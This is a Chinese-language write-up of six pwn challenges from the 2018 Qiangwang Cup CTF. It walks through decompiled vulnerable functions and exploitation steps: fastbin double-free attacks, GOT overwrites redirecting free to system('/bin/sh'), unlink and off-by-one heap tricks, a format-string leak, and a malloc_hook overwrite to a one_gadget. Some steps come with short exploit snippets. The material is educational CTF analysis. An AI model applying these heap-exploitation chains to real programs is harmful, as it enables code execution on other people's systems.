强网杯2018 pwn复现

前言

本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录。题目真心不错

程序和 exp:

https://gitee.com/hac425/blog_data/blob/master/qwb2018/

正文

silent

漏洞

free 的时候指针没有清空,而且程序没有 检测指针是否已经被释放 double free, 后面的 编辑功能也没有检验指针是否已经被 free ,所以 uaf

signed __int64 free_()
{
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  __isoc99_scanf("%d", &i);
  getchar();
  if ( i < 0 || i > 9 )
    return 0xFFFFFFFFLL;
  free(ptr_table[i]);
  return 0LL;
}

利用

new 一个内存的时候我们可以任意大小的内存,我们现在的能力

  • 分配任意大小的内存
  • double free
  • uaf

Double Free ----> Fastbin Attack

可以利用 fastbin 检测 double free 的特点来利用。把一个 chunk 加入 fastbin 是如果相应 fastbin 的第一项和要加入的 chunk 不是同一个即可

add("/bin/shx00", 0x60)
add("1"*0x20, 0x60)
add("2"*0x20, 0x60)
add("3"*0x20, 0x60)

delete(1)
delete(2)
delete(1)

gdb.attach(p)
pause()

这样就会形成一个 下面的 fastbin

pwndbg> bins 
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603070 —▸ 0x6030e0 —▸ 0x603070 ◂— 0x6030e0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> 

0x603070fastbin 链 中出现了两次,于是分配两次,0x603070 会被分配,而且 0x603070 会成为 fastbin 的第一个 chunk . 我们就可以通过 double free 实现 fastbin attack 的目的(其实这里可以直接改,因为有 uaf)

现在的目的是找 一个地址处存放 size 的位置来 bypass fastbin 的 检查。

在程序的 bss 段存有 std 的指针

.bss:0000000000602080                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000602080                 public stdout
.bss:0000000000602080 ; FILE *stdout
.bss:0000000000602080 stdout          dq ?                    ; DATA XREF: LOAD:0000000000400400↑o
.bss:0000000000602080                                         ; sub_4007F0+6↑o ...
.bss:0000000000602080                                         ; Copy of shared data
.bss:0000000000602088                 align 10h
.bss:0000000000602090                 public stdin
.bss:0000000000602090 ; FILE *stdin
.bss:0000000000602090 stdin           dq ?                    ; DATA XREF: LOAD:0000000000400418↑o
.bss:0000000000602090                                         ; init_+17↑r
.bss:0000000000602090                                         ; Copy of shared data
.bss:0000000000602098                 align 20h
.bss:00000000006020A0                 public stderr
.bss:00000000006020A0 ; FILE *stderr
.bss:00000000006020A0 stderr          dq ?                    ; DATA XREF: LOAD:0000000000400430↑o
.bss:00000000006020A0                                         ; init_+53↑r
.bss:00000000006020A0                                         ; Copy of shared data

这些指针之间有一些填充空间(会被填充为0), 然后 std 的指针的最低字节 就有可能 可以作为 fastbinsize .

paste image

于是修改大小为 0x70fastbinfd0x60209d, 然后分配 2 次,我们就可以分配到 bss, 然后通过修改 ptr_table 来修改 got 表,使得 free@gotsystem@plt

修改 ptr_table[0] --> free@got

add(p64(0x60209d), 0x60)
add("5"*0x20, 0x60)
add("6"*0x20, 0x60)

add('x00'*0x13+p64(0x602018), 0x60)  # ptr0 --> free@got

p.clean()
edit(0, p64(0x00400730), "") # free@got ---> system@plt

delete(3) # free("/bin/shx00") ---> system("/bin/shx00") 

silent2

漏洞

silent 的基础上限制我们不能分配 fastbin

paste image

利用

分配两个 0x90chunk ,然后释放掉

分配一个大的 chunk 重用上面的空间,伪造 free chunk , 触发 unlink

strlen@gotsystem@plt

opm

漏洞

add 功能处使用 gets 来读入字符串到 stackbuf 而且 buf 后面有 obj_ptr ,我们可以溢出覆盖 obj_ptr

obj *add()
{
  obj *obj; // rbx
  obj *obj_; // rbx
  size_t name_len; // rax
  obj *obj__; // rbx
  char buf; // [rsp+0h] [rbp-1A0h]  // 输入的缓冲区
  obj *obj_ptr; // [rsp+80h] [rbp-120h] // obj 指针
  char *v7; // [rsp+100h] [rbp-A0h]
  unsigned __int64 v8; // [rsp+188h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  obj = operator new(0x20uLL);
  init_obj(obj);
  obj_ptr = obj;
  obj->show_func = show_func;
  puts("Your name:");
  gets(&buf);
  obj_ = obj_ptr;                               // gets 可以覆盖 obj_ptr
  obj_->len = strlen(&buf);
  name_len = strlen(&buf);
  v7 = malloc(name_len);
  strcpy(v7, &buf);
  obj_ptr->nameptr = v7;
  puts("N punch?");
  gets(&buf); 							// gets 可以覆盖 obj_ptr
  obj__ = obj_ptr;
  obj__->punch = atoi(&buf);
  show_func(obj_ptr);
  return obj_ptr;
}

有一个比较麻烦的点就是 gets 会在读入的字符串后面加入一个 x00

信息泄露

泄露 heap 地址

主要的思路就是把 addr 写入 name 的缓冲区中,然后 printf 出来

add("a" * 0x70, str(32))
add("b" * 0x80 + "x10", '1')  # 把 role0 布置到 0010, name 会被分配到 8d00-0x10
log.info("role obj in 0010, and name_buf contain 8d00")
# 首先往 8d00 写 name_ptr, 再次溢出修改 obj_ptr -----> 0010
# 为了后面调用 show(0010), 打印出 内容
add("c" * 0x80, "2"*0x80 + "x10")  
log.info("write a name_ptr to 8d00")

具体内存布局如图

paste image

0x5555557560e0role_table 的地址, 可以看到 role_table[1]role_table[2] 的是一样的,成功把 name ptr 写入了 role->name 里面

泄露 程序基地址 && libc

后面通过 泄露的 heap 地址,和指针覆盖 来布局,leak 即可

修改 strlen@got 为 system

利用 obj->punch 局部修改

note

漏洞

在修改 title 的位置

char *change_title()
{
  char *result; // rax
  signed int i; // eax
  unsigned __int8 c; // [rsp+Bh] [rbp-5h]
  signed int index; // [rsp+Ch] [rbp-4h]

  printf("enter the title:");
  index = 0;
  while ( 1 )
  {
    c = getchar();
    if ( check_black_list(c) )
      break;
    if ( index > 0x27 )
    {
      result = title + 0x27;                    // 最多 40 个字符
      title[0x27] = 0;
      return result;
    }
    i = index++;
    title[i] = c;
  }
  result = c;
  title[index] = c;
  return result;
}

title 是一个 0x28 字节的 buf, 如果我们在 index=0x28 时输入 black_list 中的字符,就会跳出循环,然后 title[0x28] = black_char, off by one 。我们看看溢出的那个字节可以写入什么

0000000000602010  0A 21 3F 40 22 27 23 26  00

利用

off by one 可以通过 伪造 free chunk 来触发 unlink ,所以选择 0x40, 通过调试可以知道,title 后面跟着的是 content

然后溢出后就可以设置 content 所在 chunk->size = 0x40

然后通过 realloc 一个很大的值,使得无法 通过扩展 chunk 来分配,这样就会把 content 放入 fastbin

再通过 realloc 一个很大的内存,触发 会把 content 进入 smallbin 并且触发堆合并,触发 unlink.

之后修改 __realloc_hooksystem

raisepig

漏洞

eat_pig 功能处可以 double free

__int64 eat_pig()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( pig_count )
  {
    printf("Which pig do you want to eat:");
    _isoc99_scanf("%d", &i);
    if ( i > 0x63 || !pig_table[i] )            // 这里只是判断,pig指针是不是为0
    {
      puts("Invalid choice");
      return 0LL;
    }
    srand(0);
    pig_table[i]->is_lived = 0;
    free(pig_table[i]->name_ptr);               // free掉name指针,没有free pig
  }
  else
  {
    puts("No pig");
  }
  return 0LL;
}

所以我们可以 多次 free(pig_table[i]->name_ptr)

利用

  • 由于在分配内存时使用 malloc , 而且分配后没有对内存进行清空,而且读入数据使用 read, 可以泄露出 libc

  • 然后分配几个 0x90chunk , 释放中间两个会合并成一个大的 unsorted bin

  • 然后分配大的 chunk 就可以拿到刚刚合并生成的大 chunk , 结合 double free,进行 fastbin attack

  • 修改 fastbin->fd = 0x81 分配一次后可以在 main_arean 有一个 p64(0x81)

  • 使用 fastbin attack 可以修改 main_arean->topmalloc_hook-0x10

  • 然后分配内存修改 malloc_hookone_gadget

  • 重复 free 同一个内存(不进行伪造),触发 malloc_printerr (这样更稳), 会调用 malloc, getshell

gamebox

漏洞

play 函数中,调用 rand 函数初始化了 24 字节的 随机字符串,如果猜对了,就会调用 record 函数进行记录

paste image

size 由我们输入,可以看到分配了 size 的内存 , 后面写的时候 name[size] 会溢出一个字节,不过只能溢出 x00, off by null.

然后在 show 函数有格式化字符串漏洞

unsigned __int64 show()
{
  signed int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("=======RANK LIST=======");
  for ( i = 0; i <= 9; ++i )
  {
    if ( obj_table[i].name_ptr )
    {
      putchar(i + '0');                         // 打印名次
      putchar(':');
      printf(obj_table[i].name_ptr);            // name_ptr 作为 printf的第一个参数,格式化
    }
  }
  puts("=======================");
  return __readfsqword(0x28u) ^ v2;
}

利用

rand 默认使用 srand(1), 我们本地调用 libcsrand(1)rand 就可以生成相同的字符串

利用格式化字符串漏洞,泄露 libc 和 程序的基地址

off by null 直接套用 how2heap ,就可以 overlap heap

这时就可以利用 raisepig 的思路 或者 使用 unlink

参考

http://tacxingxing.com/2018/03/28/2018qwb/

原文地址:https://www.cnblogs.com/hac425/p/9416787.html